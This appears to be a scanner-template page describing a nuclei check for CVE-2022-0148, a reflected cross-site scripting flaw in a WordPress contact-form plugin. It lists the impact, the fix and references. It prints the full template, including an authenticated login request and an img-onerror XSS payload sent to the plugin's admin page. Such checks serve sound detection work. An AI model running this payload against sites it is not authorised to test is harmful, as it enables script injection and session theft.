CVE-2022-0148· premio / mystickyelements· CWE-79
WordPress All-in-one Floating Contact Form <2.0.4 - Cross-Site Scripting
WordPress All-in-one Floating Contact Form, Call, Chat, and 50+ Social Icon Tabs plugin before 2.0.4 contains a reflected cross-site scripting vulnerability on the my-sticky-elements-leads admin page.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
Fix
Update the WordPress All-in-one Floating Contact Form plugin to version 2.0.4 or later to mitigate the vulnerability.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=my-sticky-elements-leads&search-contact=xxxx%22%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29+x
Positive when: contains "<img src onerror=alert(`document.domain`) x\">" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-0148 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-0148
info:
name: WordPress All-in-one Floating Contact Form <2.0.4 - Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: WordPress All-in-one Floating Contact Form, Call, Chat, and 50+ Social Icon Tabs plugin before 2.0.4 contains a reflected cross-site scripting vulnerability on the my-sticky-elements-leads admin page.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update the WordPress All-in-one Floating Contact Form plugin to version 2.0.4 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/37665ee1-c57f-4445-9596-df4f7d72c8cd
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0148
- https://plugins.trac.wordpress.org/changeset/2654453/mystickyelements
- https://nvd.nist.gov/vuln/detail/CVE-2022-0148
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-0148
cwe-id: CWE-79
epss-score: 0.01572
epss-percentile: 0.75612
cpe: cpe:2.3:a:premio:mystickyelements:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: premio
product: mystickyelements
framework: wordpress
tags: cve,cve2022,xss,wp-plugin,authenticated,wpscan,wordpress,premio,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=my-sticky-elements-leads&search-contact=xxxx%22%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29+x HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src onerror=alert(`document.domain`) x">'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/37665ee1-c57f-4445-9596-df4f7d72c8cd
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0148
- https://plugins.trac.wordpress.org/changeset/2654453/mystickyelements
- https://nvd.nist.gov/vuln/detail/CVE-2022-0148
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from